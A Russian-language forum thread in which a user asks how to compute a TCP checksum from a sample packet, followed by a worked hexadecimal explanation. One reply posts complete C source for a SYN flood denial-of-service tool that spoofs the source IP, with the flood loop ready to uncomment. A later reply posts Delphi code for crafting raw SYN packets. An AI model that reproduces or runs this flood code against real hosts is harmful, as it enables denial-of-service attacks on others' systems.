Расчет контрольной суммы TCP сегмента.

Тема в разделе "WASM.NETWORKS", создана пользователем linkmaze, 27 фев 2012.

  1. linkmaze

    linkmaze New Member

    Публикаций:
    0
    Регистрация:
    23 авг 2007
    Сообщения:
    60
    Помогите пожалуйста разобраться как подсчитать контрольную сумму на примере конкретного пакета TCP (приведен IP пакет + TCP пакет).
    45 00 00 28 7a da 40 00 80 06 27 e7 0a b3 a1 e0 0a b3 a0 c8 05 92 0c 38 8a 17 6b fb e4 22 4f da 50 10 40 29 db c2 00 00
    синий - IP header
    зеленый - SRC IP
    черный - DST IP
    фиолетовый - TCP header
    красный - контрольная сумма

    Проблема в том что считаю на калькуляторе - складываю по два байта.
    0a b3 + a1 e0 + 0a b3 + a0 c8 + 00 06 = сумма псевдозаголовка - Длина TCP-сегмента (с определением длины проблемы)
    05 92 + 0c 38 + 8a 17 + 6b fb + e4 22 + 4f da + 50 10 + 40 29 = сумма TCP

    далее суммирую эти две суммы инвертирую результат и получаю значение большее на 0x19 чем значение КС.
    при этом я не прибавляю длину TCP-сегмента. соответственно 0x19 -- длина сегмента.
    но вопрос в том что везде написано что
    Код (Text):
    1. Длина TCP-сегмента (TCP length) — содержит в себе длину TCP-сегмента (TCP-заголовок + данные; длина псевдозаголовка не учитывается) в октетах, то есть совпадает с одноименным полем в TCP-заголовке.
    если это значение в октетах то получается уж слишком болшая длина.
    Помогите пожалуйста не могу разобраться никак где я что не так считаю и какое значение длины подставлять в расчеты.
     
  2. T800

    T800 Member

    Публикаций:
    0
    Регистрация:
    7 дек 2006
    Сообщения:
    293
    Адрес:
    Moscow
    Сначала расчитывается контрольная сумма для следующей структуры:
    Src IP: 0a b3 a1 e0
    Dst IP: 0a b3 a0 c8
    Zero: 00 (const)
    Proto: 06 (по смещению 9 в IP Header)
    TCP_Len: 00 14 (0x0028 - 0x14)

    TCP_Len скадывается из: длина TCP Header, длина доп. опций, длина полезных данных. В данном случае только длина TCP Header.
    Считаем контр. сумму: 0xB30A + 0xE0A1 + 0xB30A + 0xC8A0 + 0x0600 + 0x1400 = 0x032955

    Затем к этой контрольной сумме добавляем контрольную сумму от TCP Header: 05 92 0c 38 8a 17 6b fb e4 22 4f da 50 10 40 29 00 00 00 00

    Считаем: 0x032955 + 0x9205 + 0x380C + 0x178A + 0xFB6B + 0x22E4 + 0xDA4F + 0x1050 + 0x2940 + 0x0000 + 0x0000 = 0x032955 + 0x0313C9 = 0x063D1E
    Полученное значение "нормализуем": 0x0006 + 0x3D1E = 0x3D24 , NOT(0x3D24) = 0xC2DB

    ЧТД.
     
  3. DAIM

    DAIM New Member

    Публикаций:
    0
    Регистрация:
    29 авг 2010
    Сообщения:
    49
    мне статейка на педивики помогло, и вот ыщо, что:
    Код (Text):
    1. /*
    2.     Syn Flood DOS with LINUX sockets
    3. */
    4. #include<stdio.h>
    5. #include<string.h> //memset
    6. #include<sys/socket.h>
    7. #include<stdlib.h> //for exit(0);
    8. #include<errno.h> //For errno - the error number
    9. #include<netinet/tcp.h> //Provides declarations for tcp header
    10. #include<netinet/ip.h>  //Provides declarations for ip header
    11.  
    12. struct pseudo_header    //needed for checksum calculation
    13. {
    14.     unsigned int source_address;
    15.     unsigned int dest_address;
    16.     unsigned char placeholder;
    17.     unsigned char protocol;
    18.     unsigned short tcp_length;
    19.  
    20.     struct tcphdr tcp;
    21. };
    22.  
    23. unsigned short csum(unsigned short *ptr,int nbytes) {
    24.     register long sum;
    25.     unsigned short oddbyte;
    26.     register short answer;
    27.  
    28.     sum=0;
    29.     while(nbytes>1) {
    30.         sum+=*ptr++;
    31.         nbytes-=2;
    32.     }
    33.     if(nbytes==1) {
    34.         oddbyte=0;
    35.         *((u_char*)&oddbyte)=*(u_char*)ptr;
    36.         sum+=oddbyte;
    37.     }
    38.  
    39.     sum = (sum>>16)+(sum & 0xffff);
    40.     sum = sum + (sum>>16);
    41.     answer=(short)~sum;
    42.  
    43.     return(answer);
    44. }
    45.  
    46. int main (void)
    47. {
    48.     //Create a raw socket
    49.     int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
    50.     //Datagram to represent the packet
    51.     char datagram[4096] , source_ip[32];
    52.     //IP header
    53.     struct iphdr *iph = (struct iphdr *) datagram;
    54.     //TCP header
    55.     struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
    56.     struct sockaddr_in sin;
    57.     struct pseudo_header psh;
    58.  
    59.     strcpy(source_ip , "192.168.1.2");
    60.  
    61.     sin.sin_family = AF_INET;
    62.     sin.sin_port = htons(80);
    63.     sin.sin_addr.s_addr = inet_addr ("1.2.3.4");
    64.  
    65.     memset (datagram, 0, 4096); /* zero out the buffer */
    66.  
    67.     //Fill in the IP Header
    68.     iph->ihl = 5;
    69.     iph->version = 4;
    70.     iph->tos = 0;
    71.     iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
    72.     iph->id = htonl (54321);    //Id of this packet
    73.     iph->frag_off = 0;
    74.     iph->ttl = 255;
    75.     iph->protocol = IPPROTO_TCP;
    76.     iph->check = 0;     //Set to 0 before calculating checksum
    77.     iph->saddr = inet_addr ( source_ip );   //Spoof the source ip address
    78.     iph->daddr = sin.sin_addr.s_addr;
    79.  
    80.     iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
    81.  
    82.     //TCP Header
    83.     tcph->source = htons (1234);
    84.     tcph->dest = htons (80);
    85.     tcph->seq = 0;
    86.     tcph->ack_seq = 0;
    87.     tcph->doff = 5;     /* first and only tcp segment */
    88.     tcph->fin=0;
    89.     tcph->syn=1;
    90.     tcph->rst=0;
    91.     tcph->psh=0;
    92.     tcph->ack=0;
    93.     tcph->urg=0;
    94.     tcph->window = htons (5840);    /* maximum allowed window size */
    95.     tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stack
    96.                 should fill in the correct checksum during transmission */
    97.     tcph->urg_ptr = 0;
    98.     //Now the IP checksum
    99.  
    100.     psh.source_address = inet_addr( source_ip );
    101.     psh.dest_address = sin.sin_addr.s_addr;
    102.     psh.placeholder = 0;
    103.     psh.protocol = IPPROTO_TCP;
    104.     psh.tcp_length = htons(20);
    105.  
    106.     memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));
    107.  
    108.     tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));
    109.  
    110.     //IP_HDRINCL to tell the kernel that headers are included in the packet
    111.     int one = 1;
    112.     const int *val = &one;
    113.     if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
    114.     {
    115.         printf ("Error setting IP_HDRINCL. Error number : %d . Error message : %s \n" , errno , strerror(errno));
    116.         exit(0);
    117.     }
    118.  
    119.     //Uncommend the loop if you want to flood :)
    120.     //while (1)
    121.     //{
    122.         //Send the packet
    123.         if (sendto (s,      /* our socket */
    124.                     datagram,   /* the buffer containing headers and data */
    125.                     iph->tot_len,   /* total length of our datagram */
    126.                     0,      /* routing flags, normally always 0 */
    127.                     (struct sockaddr *) &sin,   /* socket addr, just like in */
    128.                     sizeof (sin)) < 0)      /* a normal send() */
    129.         {
    130.             printf ("error\n");
    131.         }
    132.         //Data send successfully
    133.         else
    134.         {
    135.             printf ("Packet Send \n");
    136.         }
    137.     //}
    138.  
    139.     return 0;
    140. }
    на дельфинариях помоему гдето тоже в сети есть
     
  4. T800

    T800 Member

    Публикаций:
    0
    Регистрация:
    7 дек 2006
    Сообщения:
    293
    Адрес:
    Moscow
    А вот вам и делфинарий )))
    Код (Text):
    1. type
    2.   PTCPHeader = ^TTCPHeader;
    3.   TTCPHeader = packed record
    4.     Eth: THdrEthernet;
    5.     IP: THdrIP;
    6.     TCP: THdrTCP;
    7.   end;
    8.  
    9.   // TCP pseudo-header for checksumming
    10.   PHdrTCPAdv = ^THdrTCPAdv;
    11.   THdrTCPAdv = packed record
    12.     sip     : DWORD;
    13.     dip     : DWORD;
    14.     zero    : Byte;
    15.     proto   : Byte;
    16.     tcp_len : Word;
    17.   end;  
    18.  
    19. function finish_sum(sum: Cardinal): Word;
    20. begin
    21.   sum := (sum shr 16) + (sum and $FFFF);
    22.   sum := sum + (sum shr 16);
    23.   Result := Cardinal(not sum);
    24. end;
    25.  
    26. function ip_checksum(iph: PHdrIP; DataSize: Cardinal): Word;
    27. begin
    28.   Result := finish_sum(checksum(PChar(iph), DataSize, 0));
    29. end;
    30.  
    31. function tcp_checksum(iph: PHdrIP; tcph: PHdrTCP; TCPDataSize: Cardinal): Word;
    32. var
    33.   ph: THdrTCPAdv;
    34.   sum, i, c: Cardinal;
    35. begin
    36.   // Make pseudo-header
    37.   ph.sip := DWORD(iph^.saddr.S_addr);
    38.   ph.dip := DWORD(iph^.daddr.S_addr);
    39.   ph.zero := 0;
    40.   ph.proto := iph^.protocol;
    41.   ph.tcp_len := ntohs(Word(TCPDataSize));
    42.   // Checksum the pseudo-header
    43.   sum := checksum(@ph, SizeOf(ph), 0);
    44.   // Checksum the header+data
    45.   sum := checksum(PChar(tcph), TCPDataSize, sum);
    46.   Result := finish_sum(sum);
    47. end;
    48.  
    49. var
    50.   buf: array [0..1500] of Byte;
    51.   p: PTCPHeader;
    52.   TCPOptSize: Cardinal;
    53.   DataSize: Cardinal;
    54.   tcphlen: Word;
    55.   optoff: Cardinal;
    56.   dataoff: Cardinal;
    57. begin
    58.   ...
    59.   DataSize := 0;   // размер данных
    60.   p := @buf[0];
    61.   p^.Eth.dmac := StrToMac(edtDestMac.Text);
    62.   p^.Eth.smac := StrToMac(edtSrcMac.Text);
    63.   p^.Eth.protocol := htons(ETH_P_IP);
    64.  
    65.   p^.IP.ihl_ver := (4 shl 4) + (SizeOf(THdrIP) div 4);  // IPv4  + 20 bytes of IP header
    66.   p^.IP.tos := 0; // IPTOS_LOWDELAY;
    67.   p^.IP.tot_len := 0;
    68.   p^.IP.id := htons(Random($FFFF));             // identification
    69.   p^.IP.frag_off := htons(IP_DF);  // Don't Fragment
    70.   p^.IP.ttl := 128;    // IPDEFTTL;           // живучесть пакета
    71.   p^.IP.protocol := IPPROTO_TCP;
    72.   p^.IP.check := 0;
    73.   p^.IP.saddr := StrToIP(Form1.edtSrcIP.Text);
    74.   p^.IP.daddr := StrToIP(Form1.edtDestIP.Text);
    75.   UsedDestIP := Cardinal(p^.IP.daddr.S_addr);
    76.  
    77.   TCPOptSize := TCP_OPT_MSS_LEN;   // размер доп. опций TCP
    78.   tcphlen := SizeOf(THdrTCP) + TCPOptSize;
    79.   p^.TCP.source := htons(Random(20000)+4000);
    80.   p^.TCP.dest := UsedDestPort;
    81.   p^.TCP.seq := Cardinal(htonl(Random($8FFFFFFF)));
    82.   p^.TCP.ack_seq := Cardinal(htonl(0));
    83.   p^.TCP.hlen := Byte(tcphlen shr 2) shl 4;
    84.   p^.TCP.flags := TCP_SYN;
    85.   p^.TCP.window := htons(8712);     // Receiver flow control window
    86.   p^.TCP.check := 0;
    87.   p^.TCP.urg_ptr := 0;      // используется, если установлен TCP_URG
    88.   optoff := SizeOf(THdrEthernet) + SizeOf(THdrIP) + SizeOf(THdrTCP);
    89.   Byte(buf[optoff])   := TCP_OPT_MSS;           // View
    90.   Byte(buf[optoff+1]) := TCP_OPT_MSS_LEN;       // Len of Options
    91.   PWord(@buf[optoff+2])^ := htons(1460);  // Optional max seg size
    92.   dataoff := optoff + TCP_OPT_MSS_LEN;
    93.   PWord(@buf[dataoff])^ := 0;
    94.  
    95.   p^.IP.tot_len := htons(SizeOf(THdrIP) + SizeOf(THdrTCP) + TCPOptSize + DataSize);   // общая длина (без учёта Ethernet части)
    96.   p^.IP.check := ip_checksum(@p^.IP, SizeOf(THdrIP));
    97.   p^.TCP.check := tcp_checksum(@p^.IP, @p^.TCP, SizeOf(THdrTCP) + TCPOptSize + DataSize);
     
  5. linkmaze

    linkmaze New Member

    Публикаций:
    0
    Регистрация:
    23 авг 2007
    Сообщения:
    60
    Спасибо. А я байты местами не менял и у меня ничего не получалось. Но все равно вопрос по длине TCP-сегмента в псевдозаголовке. На http://ru.wikipedia.org в описании протокола TCP пишут
    т.е. длина указывается в октетах. Получается что если брать длину в 0x14 (TCP_Len: 00 14 (0x0028 - 0x14)) октетов то длина сегмента с данными у меня должна быть 80 байт. Или я что-то не так понял может кто подскажет есть ли четкое описание протокола TCP с конкретным описанием алгоритма вычисления КС.